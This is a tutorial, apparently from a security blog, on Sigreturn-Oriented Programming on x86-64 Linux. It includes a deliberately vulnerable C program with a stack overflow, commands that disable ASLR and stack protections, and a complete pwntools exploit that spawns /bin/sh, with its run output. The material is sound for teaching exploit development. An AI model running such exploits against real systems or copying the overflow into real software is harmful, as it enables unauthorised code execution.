SigReturn ROP

On Linux, when a process sends a POSIX signal, execution is suspended and context information related to the current process is pushed to the stack. This context information includes the state of the CPU registers. Execution then jumps to the signal handler routine. Common signals include SIGKILL and SIGTERM for terminating processes.

When the signal handler is finished, sigreturn() is called to restore the context information. The man page for sigreturn has a pretty good description for how this operates.

If  the  Linux  kernel determines that an unblocked signal is pending for a process, then, at the next
transition back to user mode in that process (e.g., upon return from a system call or when the process
is rescheduled onto the CPU), it creates a new frame on the user-space stack where  it  saves  various
pieces of process context (processor status word, registers, signal mask, and signal stack settings).

The  kernel also arranges that, during the transition back to user mode, the signal handler is called,
and that, upon return from the handler, control passes to a piece of user-space code  commonly  called
the "signal trampoline".  The signal trampoline code in turn calls sigreturn().

This  sigreturn()  call  undoes everything that was done—changing the process's signal mask, switching
signal stacks (see sigaltstack(2))—in order to invoke the signal handler.  Using the information  that
was  earlier  saved  on  the user-space stack sigreturn() restores the process's signal mask, switches
stacks, and restores the process's context (processor flags and registers, including the stack pointer
and instruction pointer), so that the process resumes execution at the point where it was  interrupted
by the signal.

To exploit this condition, we can push a fake sigcontext data structure to the stack, then call sigreturn(). This will allow us to populate all registers with our desired values at the same time. This is a form of return orientated programming (ROP).

We can see what the sigcontext data structure looks like by examining sigcontext.h in the Linux kernel source code.

sudo apt install linux-source
vi /usr/include/x86_64-linux-gnu/bits/sigcontext.h
struct sigcontext
{
  __uint64_t r8;
  __uint64_t r9;
  __uint64_t r10;
  __uint64_t r11;
  __uint64_t r12;
  __uint64_t r13;
  __uint64_t r14;
  __uint64_t r15;
  __uint64_t rdi;
  __uint64_t rsi;
  __uint64_t rbp;
  __uint64_t rbx;
  __uint64_t rdx;
  __uint64_t rax;
  __uint64_t rcx;
  __uint64_t rsp;
  __uint64_t rip;
  __uint64_t eflags;
  unsigned short cs;
  unsigned short gs;
  unsigned short fs;
  unsigned short __pad0;
  __uint64_t err;
  __uint64_t trapno;
  __uint64_t oldmask;
  __uint64_t cr2;
  __extension__ union
    {
      struct _fpstate * fpstate;
      __uint64_t __fpstate_word;
    };
  __uint64_t __reserved1 [8];
};

#endif /* __x86_64__ */

Vulnerable Code

The following application if vulnerable to a simple stack based overflow since it reads in 500 bytes to a 32 byte buffer using the fgets() function.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
void check_password() {
    char password[32];
  
    puts("Password:");
    fgets(password, 500, stdin);
  
    if(strcmp(password, "bordergate\n") == 0) {
        puts("pass\n");
    }
    else {
        puts("fail\n");
    }
}
  
int main(int argc, char **argv) {
    char shell[] = "/bin/sh";
    check_password();
    return 0;
}

Compile with.

gcc -no-pie -fno-stack-protector srop_vuln.c  -o srop_vuln -std=c99

For this example, we will also temporarily disable ASLR.

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

We need to populate RAX with number 15 (the syscall number for sigreturn), then call the syscall instruction. We can then use pwntools to create a Sigreturnframe structure, populating that with whatever registers we like. In this instance, an execve system call.

from pwn import *

context.binary = './srop_vuln'
context.arch = 'amd64'
context.log_level = 'DEBUG'
elf = context.binary

p = gdb.debug(elf.path, gdbscript='''
''')

# GLIBC gadgets
syscall_ret = 0x7FFFF7FDB075
poprax_ret = 0x7FFFF7FD9EFC

binsh = next(elf.search(b'/bin/sh'))  # reuse string from .data section

frame = SigreturnFrame()
frame.rax = 59                        # syscall number for execve
frame.rdi = binsh                     # pointer to "/bin/sh"
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret               # syscall ; ret to trigger execve

payload = b'A' * 40
payload += p64(poprax_ret)
payload += p64(15)                    # syscall number for sigreturn
payload += p64(syscall_ret)
payload += bytes(frame)


p.sendafter(b'Password:\n', payload)

p.interactive()

Running the exploit, we can see /bin/sh spawns successfully.

python3 srop_exploit.py
[*] '/home/kali/srop_vuln'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[x] Starting local process '/usr/bin/gdbserver' argv=[b'/usr/bin/gdbserver', b'--multi', b'--no-disable-random[.] Starting local process '/usr/bin/gdbserver' argv=[b'/usr/bin/gdbserver', b'--multi', b'--no-disable-random[+] ion', b'--no-startup-with-shell', b'localhost:0', b'/home/kali/srop_vuln'] : pid 161695
[DEBUG] Received 0x51 bytes:
    b'Process /home/kali/srop_vuln created; pid = 161698\n'
    b'Listening on port 43637\n'
[DEBUG] Wrote gdb script to '/tmp/pwnlib-gdbscript-xs8yvpvq.gdb'
    target remote 127.0.0.1:43637
 
    break main
    run
[*] running in new terminal: ['/usr/bin/gdb', '-q', '/home/kali/srop_vuln', '-x', '/tmp/pwnlib-gdbscript-xs8yvpvq.gdb']
[DEBUG] Created script for new terminal:
    #!/usr/bin/python3
    import os
    os.execve('/usr/bin/gdb', ['/usr/bin/gdb', '-q', '/home/kali/srop_vuln', '-x', '/tmp/pwnlib-gdbscript-xs8yvpvq.gdb'], os.environ)
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/tmp/tmp6ipzklh2']
[DEBUG] Received 0x38 bytes:
    b'Remote debugging from host ::ffff:127.0.0.1, port 52698\n'
[DEBUG] Received 0xa bytes:
    b'Password:\n'
[DEBUG] Sent 0x138 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000020  41 41 41 41  41 41 41 41  fc 9e fd f7  ff 7f 00 00  │AAAA│AAAA│····│····│
    00000030  0f 00 00 00  00 00 00 00  75 b0 fd f7  ff 7f 00 00  │····│····│u···│····│
    00000040  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    *
    000000a0  00 00 00 00  00 00 00 00  c3 11 40 00  00 00 00 00  │····│····│··@·│····│
    000000b0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    *
    000000d0  3b 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │;···│····│····│····│
    000000e0  00 00 00 00  00 00 00 00  75 b0 fd f7  ff 7f 00 00  │····│····│u···│····│
    000000f0  00 00 00 00  00 00 00 00  33 00 00 00  00 00 00 00  │····│····│3···│····│
    00000100  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    *
    00000130  00 00 00 00  00 00 00 00                            │····│····│
    00000138
[*] Switching to interactive mode
$ whoami
[DEBUG] Sent 0x7 bytes:
    b'whoami\n'
[DEBUG] Received 0x6 bytes:
    b'fail\n'
    b'\n'
fail

$ whoami
[DEBUG] Sent 0x7 bytes:
    b'whoami\n'
[DEBUG] Received 0x1e bytes:
    b'Detaching from process 161790\n'
Detaching from process 161790
[DEBUG] Received 0x5 bytes:
    b'kali\n'
kali
$  

In Conclusion

Sigreturn ROP allows you to easily set the value of multiple registers, which can be particular useful on ARM64 systems. However, you will need a buffer space of at least 300 bytes to get a fake context structure in memory.